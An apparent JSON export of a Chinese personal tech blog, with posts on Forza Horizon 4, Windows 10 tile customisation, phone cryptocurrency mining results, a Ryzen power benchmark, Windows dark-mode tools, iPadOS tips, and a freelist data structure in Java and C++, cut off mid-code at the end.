地平线4与乐高联名推出了这个模式，拥有独立的场景、独立的赛事和独立的剧情，布景使用了大量的乐高方块，甚至还有乐高限定车辆。是挺有意思的一个模式，开着车撞碎那些乐高方块，是很新奇的体验。\n财富岛、淘汰之王、Super7 没玩过，不予置评。\n表演赛 表演赛这种玩法能够带来不一样的快感。跟火车、飞机竞速，看着气垫船从眼前飞过，或是与摩托车一起穿越森林，比与其他车辆竞速更能勾起快感。\n更别说还有光环联动赛事，跟着士官长和小娜一起赶往着陆区。哎，想不到几年后又一次听到小娜的声音，是在极限竞速里……\n等级与经济系统 玩家的等级与 “影响力 “有关，影响力越大等级越高；等级之间差异不算大，这也就是我玩到现在就能120级的原因。\n探索地图、比赛和地平线故事能够获得影响力，而地平线故事能获得巨量的影响力。\n玩家的金钱，即” 点数 “，感觉基本不缺，想买什么车就买什么车，毕竟车的好坏并不是输赢的门槛。用钱的地方主要就是大豪斯…… 嗯，这个是真买不起。\n地平线4新增了抽卡系统，能抽出车，但更多时候抽出的是些装扮，很恶心的是，很多装扮都是只能抽出来的…… 而且没有保底。\n反正不把抽卡当主要经济来源，核心玩法也没太影响，算了，就不喷了。\n车辆 阵容 车辆阵容是另一个十分值得赞扬的点。地平线4拥有巨大的车辆阵容，从上世纪三四十年代的老爷车，到10年代的超级跑车，甚至还有26世纪的光环联动车，完成上面提到的光环表演赛即可获得（虽然没有Cortana给你带路）。\n不要以为赛车游戏只有跑车。地平线4跳出了这种思路，加入了一些日常常见，而在赛车游戏里似乎有点奇怪的车——比如全顺货车，拖车头，或者是各种翻车的小三轮。\n前两天还和赛博朋克2077联动，加入了坎德拉V-Tech Turbo R，这也是2077海报里V的座驾。\n车辆细节 这个部分是这款游戏非常大的减分项，我觉得是最大的败笔。我认为，娱乐向的赛车游戏，终究也是赛车游戏。\n真实的引擎声音是至关重要的一点。地平线4的引擎声仅限定于内置的几种，很假，很单调。\n底盘的建模也一塌糊涂，准确来说，根本只是一块板而已。\n自定义 地平线4支持繁多的自定义选项，可以把车从里到外全都改一遍，齿轮传动比和前后配重之类也可以手动调整。\n涂装也很强大，痛车比较方便。\n除此之外，还拥有庞大的社区调校与涂装库，挺有意思。比如说，你甚至可以找到……\n物理引擎与AI 地平线4的手感和极品飞车差别比较大，比较紧。过弯老老实实减速吧，除非是特别往漂移方向改的车，否则很难正常漂移。\n比赛的AI可以自行选择难度，难度越高，比赛结束时能获得更高的点数奖励。\n如果你是和我一样的赛车游戏老玩家，我建议先尝试” 熟练者 “难度。在这个难度下AI会更加有侵略性，会主动撞你。还可能出现前几名把后面几名远远甩开的情况。不过也不至于太难。\n不过这个AI有点傻的样子，好几次冲出路面错过检查点，或者是撞到边上再起不能了。\n其他 想到再写吧。\n","date":"May 3, 2021","matchCount":0,"permalink":"/post/forza-horizon-4/","preview":"","title":"极限竞速 地平线 4：十分完善，但不完美"},{"content":"众所周知，Windows会为桌面应用程序（即不是从Microsoft Store安装的应用）自动生成磁贴，一般像是这样子。\nSteam默认生成的磁贴\n系统会自动使用快捷方式对应exe的图标，将其安放在磁贴中央一块小区域内，然后在左下角加上快捷方式名称。无疑这是十分丑陋的，左下方的label暂且不说，图标占据了太小的空间，不能一眼就看到，而磁贴的底色也不能随着应用改变，只能是一成不变的灰白色或者灰黑色。\n还能怎么办？当然自己画磁贴，让它看起来更舒服一点了！\n需要用到的工具：MyTile（也叫Win10Tile）、IconExplorer、Photoshop（推荐使用，画图倒也行）。这些工具都可以在网上下载到，我放出了前两款的官网链接。\n据说还有一个方案是使用Better StartMenu，但这个App需要后台进程运行，可能占用资源，在此略去不表；而我们所说的方案，不需要后台进程，但是应用更新后需要重新设置。\nStep 1：找到应用路径 桌面应用在开始菜单的磁贴，本质上还是它在开始菜单中的快捷方式。所以，要修改磁贴图标，就要从它所对应的快捷方式入手。\n在上面的文本框中输入程序名称，就可以搜索开始菜单中符合条件的快捷方式。在下面选择想更改的快捷方式，在Application Target中就可以找到这个快捷方式（也就是某个磁贴）所指向的应用程序路径。\n如果你已经有了做好的图标，你可以直接跳到最后一步；如果没有，那么需要一步一步往下走。\nStep 2：提取图标 将exe文件之前的那一段复制下来，粘贴到Icon Explorer左上角的地址栏中，按回车，如上图就是 “C:\\Program Files\\Adobe\\Adobe Photoshop CS6 (64-bit)”。\n然后选择对应的exe文件，就可以看到exe文件里包含的图标。\n如果地址在C盘且含有 “ProgramData” 目录，那么需要将其粘贴到资源管理器的地址栏，将对应的exe文件复制一份出来，然后再Icon Explorer地址栏中找到你刚刚拷出来的目录。Icon Explorer对原地址没有访问权限，所以并不能直接读取。\nIcon Explorer主界面，来自mitec.cz\n在右边的图标列表里，选择最大的那个，最好选择下方有标注PNG的，方便之后编辑。大部分应用应该都能提供32位、256*256的PNG图标。然后将它保存到你能找到的位置。\n如果只有ico，你也可以save as png，但是保存下来的图片可能失真，这时候你需要保存ico，用画图打开，再另存为png格式。\nStep 3：修改图标 我们提取出来的图标大部分奇形怪状，少数规则的也不能适应方磁贴的需要。这时候就需要修改图标。\n对于大部分图标，可以直接加底色，比如BitComet、金山文档、Python和VLC Player。我一般选取整个图标最深的颜色，然后再将其加深一点，作为底色。\n而对于Office系列图标这些周围有阴影的图标，很难使用油漆桶工具涂色。我建议使用PS选择图标区域，用刚刚的办法选取底色，然后反选、填充。近看可能不太完美，但是离远一点基本看不出来。\n有一些图标带有渐变效果，可以在方形区域内重新绘制渐变，把原画面中的元素重新移到新渐变上去。比如Steam和GitHub Desktop。\n有一些图标，用上面的方法并不能处理得十分完美，这时候需要自行便宜行事，比如TIM。我认为这样处理会比较好看。比如Epic Games Store、TIM、Photoshop和Premiere。\nStep 4：更换图标 这一步最简单，在MyTile内找到你想更改的应用快捷方式，点击Select Image，选择你刚刚编辑的图标，然后点击Save。会自动帮你生成小尺寸图标。\n现在，打开开始菜单，你就可以看到修改后的磁贴样式了。\n谨以此文献给远去的Windows 10， 和灵动的磁贴系统。\n","date":"May 1, 2021","matchCount":0,"permalink":"/post/customize-win10-tile/","preview":"","title":"自定义 Windows 10 开始菜单磁贴"},{"content":"在中华人民共和国和其他一些国家 / 地区，虚拟货币的开采工作是违法的。请您确保行为在合法的范围内。\n撰写本文的时间在禁令发出之前。\n我一直是十分痛恨囤积显卡（以至于现在的硬盘）来挖数字货币的矿工的，但不是因为他们挖矿，而是因为抢走了本应属于正常用户的零部件，扰乱市场秩序。\n但是，既然虚拟货币现在如火如荼，为啥不将旧手机这一闲置的算力利用起来，让它挖矿赚点零钱呢？\n正巧手边有一台闲置的小米5s手机，那就用上它吧。\n步骤请见 ，这是一篇十分优秀的教授手机挖矿的教程，这篇文章也是受它启发而写成。理论上，它的后半部分适用于所有Linux设备。\n小米5s搭载的是四核骁龙821@2.15GHz，64位Kryo架构。接入电源运行挖矿。平均raw 17.68H/s，pay为284H/s。按照整机功率7w、2021年4月17日门罗币价格、以及我校的电费来算，一天收益0.21元，电费0.108元，综合利润为0.1元左右（笑）。\n现在知道我为什么说手机挖矿是图一乐了吧？\n对比不够？来看笔记本端处理器AMD Ryzen 7 4800H的数据：\n使用WSL 2上的Ubuntu运行挖矿程序，只占用了8个线程，却在1小时不到算完了手机4小时工作量的30倍哈希量。\n不过这图一乐，也许就是折腾精神的内涵了吧？生命不息，折腾不止。\n","date":"April 17, 2021","matchCount":0,"permalink":"/post/mining-on-phone/","preview":"","title":"使用手机挖矿？图一乐"},{"content":"这次测试了一下Ryzen 7 4800H的性能与功耗的关系。\n测试机型为联想拯救者R7000 2020 4800H+1650版本，使用Cinebench R23多核分数来反映性能，用 RyzenAdj 设定处理器功耗。测试范围为10W-75W，梯度5W。每次跑分完成后，等待处理器核心冷却到45度以下之后开始下一次跑分。跑分仅一轮，不设置最低持续时间。\n机身后部垫起，出风口无遮挡，没有其他辅助散热措施。\n跑分结果如下表所示。\n处理器功耗（W） 多核跑分 增长百分比 分 / 瓦比率 10 4079 - 407.9 15 6360 0.559206 424 20 7434 0.168868 371.7 25 8184 0.100888 327.36 30 8733 0.067082 291.1 35 9355 0.071224 267.2857 40 9895 0.057723 247.375 45 10344 0.045376 229.8667 50 10561 0.020978 211.22 55 10919 0.033898 198.5273 60 11168 0.022804 186.1333 65 11260 0.008238 173.2308 70 11403 0.0127 162.9 75 11286 -0.01026 150.48 可以看到，功耗和性能取得良好平衡的点，差不多是在50W左右。这电脑的双烤性能释放大概也是在50W+45W左右，还是挺合适的。\n","date":"April 2, 2021","matchCount":0,"permalink":"/post/4800h-review/","preview":"","title":"AMD Ryzen 7 4800H 功耗性能测试"},{"content":"对于Android与iOS用户来说，深色模式似乎已经是一个司空见惯的功能。苹果的强大号召力令各大应用开发商火速失陪了深色模式，而对于小米和魅族等手机的用户，优秀的系统反色算法使得日常使用的覆盖也没有什么问题。但是对于Windows这一个 “史前” 系统，深色模式并没有那么完善。相比移动端的敏捷，Windows早已落后了太多。\n本文将介绍一些让Windows的深色模式更好用的方法，包括但不限于工具和tips。当然，即使这样也不能让Windows的深色模式体验令人完全满意。\nWinDynamicDesktop | 晚上就该有晚上的壁纸 苹果设备中，有许多自带壁纸是带有深浅色模式两种版本的，能够完美融合进变暗的系统界面。小米MIUI超级壁纸 “几何” 也有跟随系统深色模式的功能，主要是底色能够跟随变换。\n更酷的是，macOS从Mojave开始加入了一个特性叫做动态桌面（Dynamic Desktop）。这个功能可以根据一天中的不同时间，自动切换适合的壁纸，以匹配外界环境。也就是说，外面是白天，壁纸也是白天；外面是晚上，壁纸也是晚上。不过，实际上都是静态的壁纸在轮换23333。\n现在，有一位大佬在Windows上实现了类似的功能，软件称为WinDynamicDesktop，可以 在 GitHub 下载，也可以 从 Microsoft Store 下载。它自带了macOS上的多款高质量动态桌面壁纸，如Mojave Desert、Catalina和Big Sur。这样，你的电脑在晚上就可以换上深色的壁纸，避免刺眼。\n如果你的桌面比较干净，这些由苹果钦定的壁纸也具有非常高的观赏价值。每张壁纸取景的相对位置不变，变的只有晨昏，衔接流畅自然，景色也很美。\nWindows Auto Dark Mode | 系统也要黑下来 移动端许多系统都支持日出日落自动切换深色模式，而Windows的所有深色模式设置，却只有一个选项。\n于是就有了Windows Auto Dark Mode这款软件。我推荐 从 GitHub 下载，或者你也可以利用WinGet命令下载（关于WinGet可以查看 这篇文章，命令为 winget install \u0026quot;Auto Dark Mode\u0026quot;）。也可以使用Chocolatey或者Scoop下载，请参看GitHub页面。\n它有丰富的Windows系统与应用深色模式设置，如下图：\n它使用登录任务代替后台进程，如此就可以少留一个后台了，减少了内存占用，任务栏托盘也更加干净（当然，这么简单的一个小程序的确不应该占用一个托盘）。十分令人惊喜的是，它还支持Connected Standby等现代新特性。如果你不需要花里胡哨的动态壁纸，你也完全可以使用这款应用的” 壁纸 / 主题” 功能来设置切换壁纸。\nDark Reader | 白底网页闪瞎眼，赶紧反色保平安 Windows对网页端的依赖，比移动操作系统更大，但是只有GitHub等极少数网页适配了深色模式， 也就是说，你打开的 大部分网页，都能在晚上闪瞎你的眼。正巧，在Windows Auto Dark Mode中发现了一个 Dark Reader，能够强制网页反色，把大量的亮色块转换为暗色…… 有点像MIUI浏览器的逻辑？\nDark Reader是一款浏览器插件，支持基于Chromium的浏览器（Google Chrome、新版 Microsoft Edge）和 Mozilla Firefox。此外，它也支持 Thunderbird Mail，Mozilla的一款邮件客户端。其他基于Chromium的浏览器请自行访问上面两个地址来获取下载链接，可能兼容性不是非常好。\n安装插件后自动弹出 使用方法页面，在此不再赘述。值得一提的是，它也支持跟随系统的深色模式进行变换。\nTwinkle Tray | 这些还不够暗？那就让屏幕暗下来 很多时候，光是把屏幕上的内容变成深色，在暗光下的观感仍然很差，原因是屏幕亮度太高，尤其是对于大部分LCD屏用户来说。\n屏幕亮度的调节一直是Windows的老大难问题，除非你只用笔记本的内置屏幕，这样的话Windows通知中心下部的亮度条调节亮度会非常方便。但是，如果你是台式机用户，或者是外接屏幕的笔记本用户，难免需要调节外接显示器的亮度。Twinkle Tray就是这样一款应用，将调节亮度的快捷方式做进系统托盘。\n它使用DDC/CI和WMI协议与显示器通信。大部分显示器与线缆都支持此功能，比如我的飞利浦245E1，但是微软还是没把它做进系统，匪夷所思。\n它可以 在 Microsoft Store 下载。另外，它的源代码开放在 GitHub 上。\n警告：这款软件似乎并不完善。我使用这款软件之后，发现笔记本在不外接电源的时候流畅度大幅降低（卸载或关闭之后可以恢复），还有人出现了显示器亮度异常的问题。建议安装之前仔细考虑后果，安装后先设置恢复默认亮度快捷键再调整亮度，以免显示器亮度调节异常。\n","date":"March 20, 2021","matchCount":0,"permalink":"/post/windows-dark-experience/","preview":"","title":"夜间的 Windows，可以更好用"},{"content":"作为一个长期的Android用户，上手iPadOS虽然和以前用过的iOS大致相似，但是还是有很多藏得很深但是还挺好用的功能。或许这些功能早已被大部分人熟知，但对我来说还是第一次发现。\n截图 使用Apple Pencil自界面左右下角向中央滑动可以截屏。\n小窗与 多任务 用一只手在屏幕上捏合可以返回主屏幕或者切换多任务。\n小窗下的应用可以拖动上方的小横条切换全屏显示 / 分屏 / 小窗。\n","date":"March 15, 2021","matchCount":0,"permalink":"/post/martians-ipados-manual/","preview":"","title":"或许火星了的 “iPadOS 使用说明书”"},{"content":"在一开始，我们先用Virginia Tech的一段文字，对可利用空间表有一个初步的了解。\n链表中节点的创建与删除方法，给了使用它的人一个简单而有效的管理内存的办法。Link类可以维护自己的可利用空间表，而不是频繁地调用new函数。一个可利用空间表存储着目前没有被使用的节点内存空间。当一个元素被从链表中释放的时候，它会被移至可利用空间表的头部。当把一个新元素插入链表中的时候，程序可以先检查可利用空间表中有没有可用的元素。如果有的话，会直接提取出那个元素；如果没有，再使用传统的new函数来申请一块空间。 所以说，可利用空间表只是链表的一种应用。\n对于周期性增减的链表来说，可利用空间表尤其有用。除非链表的大小达到空间上限，可利用空间表所需的空间就永远不会增加。当链表释放元素之后，对新元素的需求可以直接由可利用空间表来处理。当一个程序使用多个链表的时候，也不妨使用可利用空间表。这样，只要这几个链表不同时变长或变短，可利用空间表就可以让节点在链表之间转移（而非重复调用new和delete函数，无端地消耗时间）。\n在下面的例子中，Link类增加了get和release函数。\n弗吉尼亚理工大学的课程 数据结构与算法：可利用空间表\ncpp 复制代码 class Link\u0026lt;E\u0026gt; { // 单链表节点，使用了可利用空间表 private E e; // 该节点的值 private Link\u0026lt;E\u0026gt; n; // 后继引用 // 构造函数 Link(E it, Link\u0026lt;E\u0026gt; inn) {e = it; n = inn;} Link(Link\u0026lt;E\u0026gt; inn) {e = null; n = inn;} E element() { return e;} // 返回节点的值 E setElement(E it) {return e = it;} // 修改节点的值 Link\u0026lt;E\u0026gt; next() { return n;} // 返回后继引用 Link\u0026lt;E\u0026gt; setNext(Link\u0026lt;E\u0026gt; inn) {return n = inn;} // 修改后继 // 增加 freelist 支持 private static Link freelist = null; // 该类的可利用空间表 // 如果表中有可用节点，返回它 static \u0026lt;E\u0026gt; Link\u0026lt;E\u0026gt; get(E it, Link\u0026lt;E\u0026gt; inn) { if (freelist == null) return new Link\u0026lt;E\u0026gt;(it, inn); // new 一个 link Link\u0026lt;E\u0026gt; temp = freelist; // 从 freelist 中取出 freelist = freelist.next(); temp.setElement(it); temp.setNext(inn); return temp; } // 将一个节点存入表中 void release() { e = null; // 取消对该节点的引用 n = freelist; freelist = this; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 class Link\u0026lt;E\u0026gt; { // 单链表节点，使用了可利用空间表 private E e; // 该节点的值 private Link\u0026lt;E\u0026gt; n; // 后继引用 // 构造函数 Link(E it, Link\u0026lt;E\u0026gt; inn) {e = it; n = inn;} Link(Link\u0026lt;E\u0026gt; inn) {e = null; n = inn;} E element() { return e;} // 返回节点的值 E setElement(E it) {return e = it;} // 修改节点的值 Link\u0026lt;E\u0026gt; next() { return n;} // 返回后继引用 Link\u0026lt;E\u0026gt; setNext(Link\u0026lt;E\u0026gt; inn) {return n = inn;} // 修改后继 // 增加 freelist 支持 private static Link freelist = null; // 该类的可利用空间表 // 如果表中有可用节点，返回它 static \u0026lt;E\u0026gt; Link\u0026lt;E\u0026gt; get(E it, Link\u0026lt;E\u0026gt; inn) { if (freelist == null) return new Link\u0026lt;E\u0026gt;(it, inn); // new 一个 link Link\u0026lt;E\u0026gt; temp = freelist; // 从 freelist 中取出 freelist = freelist.next(); temp.setElement(it); temp.setNext(inn); return temp; } // 将一个节点存入表中 void release() { e = null; // 取消对该节点的引用 n = freelist; freelist = this; } } freelist变量的声明使用了static关键字。它可以创建一个由所有Link节点共用的对象。\n请注意它有多么的简单，因为它们仅需要各自在表的前端移除或添加元素。可利用空间表的get和release函数的时间复杂度都为 Θ(1) ，除非表空了，必须调用new函数。为了适配可利用空间表版本的节点，我们要对链表类做一些必要的改动。\n弗吉尼亚理工大学的课程 数据结构与算法：可利用空间表\ncpp 复制代码 // 在当前位置插入 “it” public boolean insert(E it) { curr.setNext(Link.get(curr.element(), curr.next())); // 得到 link curr.setElement(it); if (tail == curr) tail = curr.next(); // 新的链表尾 listSize\u0026#43;\u0026#43;; return true; } // 将 “it” 推到链表中 public boolean append(E it) { Link\u0026lt;E\u0026gt; temp = Link.get(null, null); tail.setNext(temp); tail.setElement(it); tail = tail.next(); listSize\u0026#43;\u0026#43;; return true; } // 将当前位置的元素移除并返回 public E remove () { if (curr == tail) return null; // 没有什么能移除的 E it = curr.element(); // 存储元素的值 curr.setElement(curr.next().element()); // 将下一个元素往前移一位 if (curr.next() == tail) tail = curr; // 要是删除了链表尾元素，还需要修改表尾 Link\u0026lt;E\u0026gt; tempptr = curr.next(); // 存储待删除节点的位置 curr.setNext(curr.next().next()); // 修改前一位的指针，往后指一位 tempptr.release(); // 将待删除结点释放 listSize--; // 链表长度 - 1 return it; // 返回删除的节点值 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // 在当前位置插入 “it” public boolean insert(E it) { curr.setNext(Link.get(curr.element(), curr.next())); // 得到 link curr.setElement(it); if (tail == curr) tail = curr.next(); // 新的链表尾 listSize++; return true; } // 将 “it” 推到链表中 public boolean append(E it) { Link\u0026lt;E\u0026gt; temp = Link.get(null, null); tail.setNext(temp); tail.setElement(it); tail = tail.next(); listSize++; return true; } // 将当前位置的元素移除并返回 public E remove () { if (curr == tail) return null; // 没有什么能移除的 E it = curr.element(); // 存储元素的值 curr.setElement(curr.next().element()); // 将下一个元素往前移一位 if (curr.next() == tail) tail = curr; // 要是删除了链表尾元素，还需要修改表尾 Link\u0026lt;E\u0026gt; tempptr = curr.next(); // 存储待删除节点的位置 curr.setNext(curr.next().next()); // 修改前一位的指针，往后指一位 tempptr.release(); // 将待删除结点释放 listSize--; // 链表长度 - 1 return it; // 返回删除的节点值 } 使用可利用空间表能够节省多长时间，取决于你用什么语言编写代码。对于C++ 这种语言，程序员必须使用new和delete函数来管理内存空间，从可利用空间表中取出节点只花费了使用new函数方法的不到十分之一时间。对于Java这种有垃圾清理的语言，最初似乎你使用可利用空间表不会节省多少时间，因为Java的new函数能够快速的从它的存储池中返回内存空间。然而，要是你不用可利用空间表，释放节点会产生垃圾，而这需要大量的回收垃圾的时间。\n弗吉尼亚理工大学的课程 数据结构与算法：可利用空间表\n仿照这种思路，我信心满满地在Clifford A. Shaffer的《数据结构与算法分析 第三版》链表实现线性表基础上，写成了一个可利用空间表类——很遗憾，这个并不能实现上述的多个链表之间共享节点的功能。嗯，坦白说，我并没有看懂前面的Java代码就开始上手写C++ 了。\n需要特别注意的是，原书中的代码有一个问题：在 moveToEnd() 之后，curr 指针指向的是tail，而输出的时候输出的是 curr 的后继的值。已经改正。\ncpp 复制代码 //freelist.h #include \u0026lt;stack\u0026gt; #include \u0026#34;list\\_adt.h\u0026#34; using namespace std; #ifndef LINK #define LINK template \u0026lt;typename E\u0026gt; class Link //node 的实现 { public: E element; Link \\*next; Link(const E \u0026amp;elemval, Link \\*nextval = NULL) { element = elemval; next = nextval; } Link(Link \\*nextval = NULL) { next = nextval; } }; #endif #ifndef FREELIST\\_H #define FREELIST\\_H template \u0026lt;typename E\u0026gt; class Freelist : public List\u0026lt;E\u0026gt; { private: stack\u0026lt;Link\u0026lt;E\u0026gt; \\*\u0026gt; spareElem; // 存放暂时不用的元素地址 Link\u0026lt;E\u0026gt; \\*head; // 头指针 Link\u0026lt;E\u0026gt; \\*tail; // 尾指针 Link\u0026lt;E\u0026gt; \\*curr; // 当前位置的前驱节点 int cnt; Link\u0026lt;E\u0026gt; \\*getNewElem() // 获取一个新元素的地址 { Link\u0026lt;E\u0026gt; \\*temp; if (spareElem.empty()) // 可利用空间表中无元素 { temp = new Link\u0026lt;E\u0026gt;; } else // 还有元素，可以直接传过来地址 { temp = spareElem.top(); spareElem.pop(); } return temp; } void init() // 初始化链表，只有一个 head 元素 { curr = tail = head = getNewElem(); cnt = 0; } void removeall() // 清空链表 { while (head != NULL) { curr = head; head = head-\u0026gt;next; spareElem.push(curr); } } public: Freelist(int size = 65536) { init(); } ~Freelist() { removeall(); } void clear() // 清空链表并初始化 { removeall(); init(); } void insert(const E \u0026amp;it) // 插入元素 { curr-\u0026gt;next = getNewElem(); curr-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; if (tail == curr) { tail = curr-\u0026gt;next; } cnt\u0026#43;\u0026#43;; } void append(const E \u0026amp;it) // 在最后添加元素 { tail-\u0026gt;next = getNewElem(); tail-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; tail = tail-\u0026gt;next; cnt\u0026#43;\u0026#43;; } E remove() // 删除当前位置的元素 { E it = curr-\u0026gt;next-\u0026gt;element; Link\u0026lt;E\u0026gt; \\*ltemp = curr-\u0026gt;next; if (tail == curr-\u0026gt;next) { tail = curr; } curr-\u0026gt;next = curr-\u0026gt;next-\u0026gt;next; spareElem.push(ltemp); cnt--; return it; } void moveToStart() // 移至头部 { curr = head; } void moveToEnd() // 移至尾部 { curr = tail; prev(); //curr 最后必须是 tail 的前驱才行 } void prev() // 左移一位 { if (curr == head) { return; } Link\u0026lt;E\u0026gt; \\*temp = head; while (temp-\u0026gt;next != curr) { temp = temp-\u0026gt;next; } curr = temp; } void next() // 右移一位 { if (curr != tail) { curr = curr-\u0026gt;next; } } int length() const // 返回长度 { return cnt; } int currPos() const // 返回当前位置 { Link\u0026lt;E\u0026gt; \\*temp = head; int i = 1; for (i = 0; curr != temp; i\u0026#43;\u0026#43;) { temp = temp-\u0026gt;next; } return i; } void moveToPos(int pos) // 移动至指定位置 { //Assert((pos\u0026gt;=0)\u0026amp;\u0026amp;(pos\u0026lt;=cnt),\u0026#34;Position Out of Range\u0026#34;); curr = head; for (int i = 0; i \u0026lt; pos; i\u0026#43;\u0026#43;) { curr = curr-\u0026gt;next; } } const E \u0026amp;getValue() const // 返回当前位置的值 { //Assert(curr-\u0026gt;next!=NULL,\u0026#34;No Value\u0026#34;); return curr-\u0026gt;next-\u0026gt;element; } }; #endif 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 //freelist.h #include \u0026lt;stack\u0026gt; #include \u0026#34;list\\_adt.h\u0026#34; using namespace std; #ifndef LINK #define LINK template \u0026lt;typename E\u0026gt; class Link //node 的实现 { public: E element; Link \\*next; Link(const E \u0026amp;elemval, Link \\*nextval = NULL) { element = elemval; next = nextval; } Link(Link \\*nextval = NULL) { next = nextval; } }; #endif #ifndef FREELIST\\_H #define FREELIST\\_H template \u0026lt;typename E\u0026gt; class Freelist : public List\u0026lt;E\u0026gt; { private: stack\u0026lt;Link\u0026lt;E\u0026gt; \\*\u0026gt; spareElem; // 存放暂时不用的元素地址 Link\u0026lt;E\u0026gt; \\*head; // 头指针 Link\u0026lt;E\u0026gt; \\*tail; // 尾指针 Link\u0026lt;E\u0026gt; \\*curr; // 当前位置的前驱节点 int cnt; Link\u0026lt;E\u0026gt; \\*getNewElem() // 获取一个新元素的地址 { Link\u0026lt;E\u0026gt; \\*temp; if (spareElem.empty()) // 可利用空间表中无元素 { temp = new Link\u0026lt;E\u0026gt;; } else // 还有元素，可以直接传过来地址 { temp = spareElem.top(); spareElem.pop(); } return temp; } void init() // 初始化链表，只有一个 head 元素 { curr = tail = head = getNewElem(); cnt = 0; } void removeall() // 清空链表 { while (head != NULL) { curr = head; head = head-\u0026gt;next; spareElem.push(curr); } } public: Freelist(int size = 65536) { init(); } ~Freelist() { removeall(); } void clear() // 清空链表并初始化 { removeall(); init(); } void insert(const E \u0026amp;it) // 插入元素 { curr-\u0026gt;next = getNewElem(); curr-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; if (tail == curr) { tail = curr-\u0026gt;next; } cnt++; } void append(const E \u0026amp;it) // 在最后添加元素 { tail-\u0026gt;next = getNewElem(); tail-\u0026gt;next-\u0026gt;element = it; tail-\u0026gt;next-\u0026gt;next = NULL; tail = tail-\u0026gt;next; cnt++; } E remove() // 删除当前位置的元素 { E it = curr-\u0026gt;next-\u0026gt;element; Link\u0026lt;E\u0026gt; \\*ltemp = curr-\u0026gt;next; if (tail == curr-\u0026gt;next) { tail = curr; } curr-\u0026gt;next = curr-\u0026gt;next-\u0026gt;next; spareElem.push(ltemp); cnt--; return it; } void moveToStart() // 移至头部 { curr = head; } void moveToEnd() // 移至尾部 { curr = tail; prev(); //curr 最后必须是 tail 的前驱才行 } void prev() // 左移一位 { if (curr == head) { return; } Link\u0026lt;E\u0026gt; \\*temp = head; while (temp-\u0026gt;next != curr) { temp = temp-\u0026gt;next; } curr = temp; } void next() // 右移一位 { if (curr != tail) { curr = curr-\u0026gt;next; } } int length() const // 返回长度 { return cnt; } int currPos() const // 返回当前位置 { Link\u0026lt;E\u0026gt; \\*temp = head; int i = 1; for (i = 0; curr != temp; i++) { temp = temp-\u0026gt;next; } return i; } void moveToPos(int pos) // 移动至指定位置 { //Assert((pos\u0026gt;=0)\u0026amp;\u0026amp;(pos\u0026lt;=cnt),\u0026#34;Position Out of Range\u0026#34;); curr = head; for (int i = 0; i \u0026lt; pos; i++) { curr = curr-\u0026gt;next; } } const E \u0026amp;getValue() const // 返回当前位置的值 { //Assert(curr-\u0026gt;next!=NULL,\u0026#34;No Value\u0026#34;); return curr-\u0026gt;next-\u0026gt;element; } }; #endif 为了探究可利用空间表的效果，我写了一段程序进行推入、清空，再推入的操作，并测定运行时间。\ncpp 复制代码 #include \u0026lt;cstdio\u0026gt; #include \u0026lt;ctime\u0026gt; #include \u0026lt;cstdlib\u0026gt; #include \u0026lt;iostream\u0026gt; #include \u0026#34;freelist.h\u0026#34; #include \u0026#34;linklist.h\u0026#34; using namespace std; int main() { printf(\u0026#34;=============LINKLIST============\\\\n\u0026#34;); LList\u0026lt;int\u0026gt; l; srand(time(NULL)); clock\\_t stage1, stage2, stage3; stage1 = clock(); for (int i = 0; i \u0026lt; 10000000; i\u0026#43;\u0026#43;) { l.append(0); } while (!l.empty()) // 这里将链表全部清空 { l.moveToStart(); l.remove(); } stage2 = clock(); for (int i = 0; i \u0026lt; 10000000; i\u0026#43;\u0026#43;) { l.append(rand()); } stage3 = clock(); double dur1, dur2; dur1 = (stage2 - stage1) \\* 1.0 / CLOCKS\\_PER\\_SEC; dur2 = (stage3 - stage2) \\* 1.0 / CLOCKS\\_PER\\_SEC; printf(\u0026#34;Append \u0026amp; Clear Consumption:%lf\\\\nRe-append Consumption:%lf\\\\n\u0026#34;, dur1, dur2); printf(\u0026#34;=============FREELIST============\\\\n\u0026#34;); Freelist\u0026lt;int\u0026gt; f; srand(time(NULL)); stage1 = clock(); for (int i = 0; i \u0026lt; 10000000; i\u0026#43;\u0026#43;) { f.append(0); } while (!f.empty()) { f.moveToStart(); f.remove(); } stage2 = clock(); for (int i = 0; i \u0026lt; 10000000; i\u0026#43;\u0026#43;) { f.append(rand()); } stage3 = clock(); dur1 = (stage2 - stage1) \\* 1.0 / CLOCKS\\_PER\\_SEC; dur2 = (stage3 - stage2) \\* 1.0 / CLOCKS\\_PER\\_SEC; printf(\u0026#34;Append \u0026amp; Clear Consumption:%lf\\\\nRe-append Consumption:%lf\\\\n\u0026#34;, dur1, dur2); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include \u0026lt;cstdio\u0026gt; #include \u0026lt;ctime\u0026gt; #include \u0026lt;cstdlib\u0026gt; #include \u0026lt;iostream\u0026gt; #include \u0026#34;freelist.h\u0026#34; #include \u0026#34;linklist.h\u0026#34; using namespace std; int main() { printf(\u0026#34;=============LINKLIST============\\\\n\u0026#34;); LList\u0026lt;int\u0026gt; l; srand(time(NULL)); clock\\_t stage1, stage2, stage3; stage1 = clock(); for (int i = 0; i \u0026lt; 10000000; i++) { l.append(0); } while (!l.empty()) // 这里将链表全部清空 { l.moveToStart(); l.remove(); } stage2 = clock(); for (int i = 0; i \u0026lt; 10000000; i++) { 